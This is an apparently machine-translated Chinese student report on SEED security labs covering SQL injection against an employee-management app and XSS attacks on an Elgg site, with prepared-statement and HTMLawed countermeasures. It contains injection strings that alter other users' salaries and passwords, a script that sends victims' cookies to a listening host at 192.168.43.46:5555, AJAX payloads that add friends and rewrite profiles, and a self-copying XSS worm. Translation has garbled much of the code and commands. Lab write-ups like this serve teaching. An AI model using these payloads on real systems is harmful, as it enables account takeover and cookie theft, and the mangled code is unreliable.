本文主要介绍网络攻防实战经验(网络攻防技术与实践课后回答),下面一起看看网络攻防实战经验(网络攻防技术与实践课后回答)相关资讯。
20212917余2021-2022-2第十周作业目录1。实验要求和过程2。学习中的问题及解决方法。学习感受和体验1。实验需求和流程seed sql注入攻击和防御实验我们已经创建了一个web应用程序,并将其托管在。这个web应用程序是一个简单的员工管理应用程序。员工可以通过这个web应用程序查看和更新数据库中的个人信息。这个web应用程序有两个主要角色:管理员是一个特权角色,可以管理每个员工的个人数据信息。员工担任常规角色,可以查看或更新他们的个人数据。完成以下任务:
首先,熟悉sql语句:我们创建了一个名为users的数据库,其中包含一个名为credit的表。该表存储每个雇员的个人信息(例如,eid、密码、工资、ssn等。).在此任务中,您需要使用数据库来熟悉sql查询。二、sql注入对select语句的攻击:上述web应用存在一个sql输入漏洞,任务是在不知道密码的情况下登录web应用。第三,sql注入对更新语句的攻击:sql注入对更新语句的攻击是通过employee s更新的个人界面。四、sql对策:修复上述sql注入攻击漏洞。一、熟悉sql语句(1)要托管网站的apache2服务器,请先使用指令sudo service apache2 start启动apache服务。首先,使用命令mysql -u root -pseedubuntu登录mysql数据库,-u指定用户名,-p指定密码。然后使用指令使用用户;显示表格;看看数据库下面的表格。
(2)下面我们使用指令select * from credential打印所有员工的信息,在这里你可以看到员工 散列后的姓名、工资和密码。
二、对select语句的sql注入攻击(1)打开网站seedlabsqlinjection.com,其对应的文件地址是/var/www/sqlinjection。存在sql注入攻击的主页unsafe_home.php。我们可以通过vim unsafe_home.php查看相应的源代码。
(2)分析文件代码,我们可以看到$ _ get[ ;用户名和密码。;]和$_get[这里主要用。密码和密码。;]元素,加密的参数通过散列pwd获得。接下来,使用$input_uname和$input_uname构建sql查询语句。通过修改 昵称 ,我们可以实现对sql注入的攻击。
(3)返回浏览器进入登录界面,使用账号admin无密码登录,成功进入首页,证明攻击成功。
(4)也可以使用linux下的自带工具curl进行sql注入攻击。具体的命令是卷曲 #密码=123
(5)看到注射成功,可以返回浏览器,用密码123登录admin账号。
三、更新语句的sql注入攻击(1)看后台代码vim/var/www/sql injection/unsafe _ edit _ backend.php找到动态构造的sql语句,这是sql注入攻击的关键。
(2)输入 ,工资= 20212917 其中eid = 10000英镑;在编辑页面的昵称字段中;#,在编辑配置文件页面的昵称字段中输入专门构造的昵称字段,然后单击保存。
(3)修改他人 的工资。只要输入 ,工资= 1 其中name = 鲍比 在爱丽丝修改的界面昵称里;#,然后进入boby的界面,发现工资已经修改成功。这个原理同上。
(4)假设密码以sha1的形式存储在数据库中,您需要首先获得指定密码的sha1值。使用echo-n ;123456。;|sha1sum将密码123456的sha1值输出为7 c4 a8 d 09 ca 3762 af 61e 59520943 dc 26494 f 8941 b。
(5)接下来,继续用alice 的帐户,在编辑个人资料中修改用户名,并填写 ,密码= 7 c4 a8 d 09 ca 3762 af 61e 59520943 dc 26494 f 8941 b ;其中name = 爱丽丝 ;#修改sha1值。此时,您可以登录alice 的帐户,密码为123456,您可以正常登录。攻击成功了。
四。sql对策(sql注入漏洞的本质原因是执行语言。句子和数据放在一起,使用预处理句子机制可以很好的防止这种攻击。在unsafe_home.php中,我们使用预处理代码,用之前的登录,发现账号不存在。同样,我们现在可以防止sql注入攻击select语句。
$ sql = $ conn-prepare(从凭证中选择id、姓名、eid、工资、出生、社会保障号、号码、地址、电子邮件、昵称、密码,其中name=?而密码=? );$ sql-bind _ param( ss ,$input_uname,$ hashed _ pwd);$ sql-execute;$sql-bind_result($id,$name,$eid,$salary,$birth,$ssn,$ phonenumber,$address,$email,$nickname,$ pwd);$ sql-fetch;$ sql-close;(2)更新unsafe_edit_backend.php中的语句代码,修改代码,然后通过edit profile修改薪资。发现刚才的语句显示为昵称,于是update语句的反sql注入也就完成了。(记得还原环境。!!)
if($input_pwd!= ){ //如果密码字段不为空。$ hashed _ pwd = sha1($ input _ pwd);//更新存储在会话中的密码。$ _ session[ ;残疾人和残疾人协会。;]= $ hashed _ pwd;$ sql = $ conn-prepare(更新凭据集昵称=?,邮箱=?,地址=?,密码=?,phonenumber=?其中id = $ id );$ sql-bind _ param( sssss 、$input_nickname、$input_email、$input_address、$hashed_pwd、$ input _ phone number);$ sql-执行;$ sql-close;}else{ //如果passowrd字段为空。$ sql = $ conn-prepare(更新凭据集昵称=?,邮箱=?,地址=?,phonenumber=?其中id = $ id );$ sql-bind _ param( ssss 、$input_nickname、$input_email、$input_address、$ input _ phone number);$ sql-execute;$ sql-close;}2.2 seed xss跨站脚本攻击实验(elgg)为了演示攻击者利用xss漏洞可以做什么,我们在预先构建的ubuntu vm镜像中设置了一个名为elgg的web应用。在这个实验中,学生需要利用这个漏洞对修改后的elgg发动xss攻击。攻击的最终目标是在用户中传播xss蠕虫,这样无论谁查看被感染的用户 的个人数据,它会被感染。
1.发布恶意消息,显示报警窗口:在你的elgg个人资料中嵌入javascript程序,这样当另一个用户查看你的个人资料时,就会执行javascript程序,并显示报警窗口。第二,弹出窗口显示cookie信息:显示cookie信息。第三,偷受害人 s cookies:给攻击者发送cookies。四、成为受害者好友:使用js程序添加受害者为好友,无需受害者介入,使用相关工具了解elgg添加好友的过程。第五,修改被害人 使用js程序,当受害者访问alice 页面中,信息在没有干预的情况下被修改。第六,写xss蠕虫。七、反对xss的攻击。1.发布恶意消息并显示报警窗口(1)在firefox中登录网站,用alice 的账户。账号:爱丽丝,密码:seedalice。登录后,点击头像,选择编辑个人资料。
(2)输入脚本警告( xss )在简述中;/script,单击保存,将出现xxs警告。主要原因是字段直接插入数据表,没有经过安全检查和过滤。在显示内容时,也是不经过输出净化直接读取显示。
二、弹出窗口显示cookie信息(1)在个人主页的简要描述中输入预先设计好的攻击代码scr。ipt alert(document . cookie);/脚本。点击保存后,出现下图所示的cookie,cookie信息显示成功。
第三,偷受害人 s cookies(1)使用ifconfig查看你的ip地址。
(2)输入攻击代码script document . write( ;img src = 192 . 168 . 43 . 46 : 5555?c = escape(document . cookie) ; );/script,然后单击保存。
(3)切换bobby s帐户,在终端输入nc -l 5555 -v端口,使用bobby访问成员中的alice以获得bobby 的饼干。
第四,成为受害者的朋友(1)使用boby帐户访问alic friend = 44 _ _ elgg _ ts = 1652915920amp_ _ elgg _ token = x8w 2 vfgmj 2 vcqgomkruylg
(3)根据上一步中的参数friend,参数__elgg_ts代表时间戳,参数__elgg_token代表令牌,构造攻击代码。
脚本类型= 文本/javascript window . onload = function{ var ajax = null;var ts=amp_ _ elgg _ ts = elgg . security . token . _ _ elgg _ ts;var token = _ _ elgg _ token = elgg . security . tok 44 ts令牌;//创建并发送ajax请求来添加friendajax = new xmlhttprequest;ajax . open( 获取 ,sendurl,true);setrequestheader( 主持人 , www . xsslabelgg . com );setrequestheader( 内容类型 , 应用程序/x-www-form-urlencoded );ajax . send;} /script(4)把这个程序放到alice s about me(注意这里是编辑html模式)并在alice 关于我的界面。
(5)接下来,利用博比去拜访爱丽丝 的主页,bobby会自动加alice为好友。
动词 (verb的缩写)修改受害者信息(1)用http header live看看修改信息的时候怎么做。这样就构造了一个类似上面的javascript程序。
脚本类型= 文本/javascript window . onload = function{//访问用户名、用户guid、时间戳_ _ elgg _ ts//和安全令牌_ _ elgg _ token var username = elgg . session . user . name的javascript代码;var guid = guid = elgg . session . user . guid;var ts=amp_ _ elgg _ ts = elgg . security . token . _ _ elgg _ ts;var token = _ _ elgg _ token = elgg . security . token . _ _ elgg _ token;var内容=令牌ts ampname = 用户名和密码这已经被爱丽丝破解了。/p access level[description]= 2 brief description = access level[brief description]= 2 location = access level[location]= 2 interests = access level[interests]= 2 skills = access level[skills]= 2 contact mail = access level[contact email]= 2 phone = access level[phone]= 2 mobile = access level[mobile]= 2 website = access level[website]= 2 witter = accvar samyguid = 44if(elgg.session.user.guid!= samyguid){//创建并发送ajax请求以修改配置文件var ajax = nullajax = new xmlhttprequest;ajax . open( 邮政和邮政,sendurl,true);setrequestheader( 主持人 , www . xsslabelgg . com );setrequestheader( 内容类型 , 应用程序/x-www-form-urlencoded );ajax.send(内容);}}/script(2)把上面的代码放到alice 是关于我的,然后利用鲍比去拜访爱丽丝 的主页,这样鲍比 的配置文件可以成功修改。
六、编写xss蠕虫(1)目的是这段代码可以复制给其他用户,那么蠕虫目标就完成了,所以使用dom查看和使用html代码,innerhtml方法就是开始和结束标记之间的html。把下面的程序放到爱丽丝 是关于我的。
脚本id = 蠕虫 type = 文本/javascript var headertag = 脚本id = \ 蠕虫\ type = \ 文本/javascript \ var jscode = document . getelementbyid( 蠕虫 ).innerhtmlvar tailtag = / 剧本 var worm code = encodeuricomponent(header tag jscode tailtag);警报(jscode);/script(2)访问alice s profile通过boby发现这段代码已经复制成功,说明目标已经达到,利用dom api已经成功复制了蠕虫。
七。对抗xss攻击(1)elgg本身提供了对抗xss攻击的插件。用admin/seedelgg登录,找到account-administration-plugins,找到插件htmlawed。这个插件的主要功能是检查用户 的输入和输出,并删除特定的标签。
(2)检查爱丽丝 的个人资料,看看它是否有效。可以看到,xss攻击此时没有效果,alice中的代码显示为about me。
2.学习中遇到的问题及解决方法1:在1:sql注入中,检查用户表中没有任何内容。
答:显示表格;;在这个命令中;脱下来,注意很多;的存在!!
问题2:在增加受害者 的朋友,点击爱丽丝 的主页没有成功添加好友。
回答:上一步的注入代码没有删除,删除就好。
3.学习感受和经验是一种以接触网为方向的攻防练习。希望在以后的学习中能进一步提高自己的能力。标签:
语句码
了解更多网络攻防实战经验(网络攻防技术与实践课后回答)相关内容请关注本站点。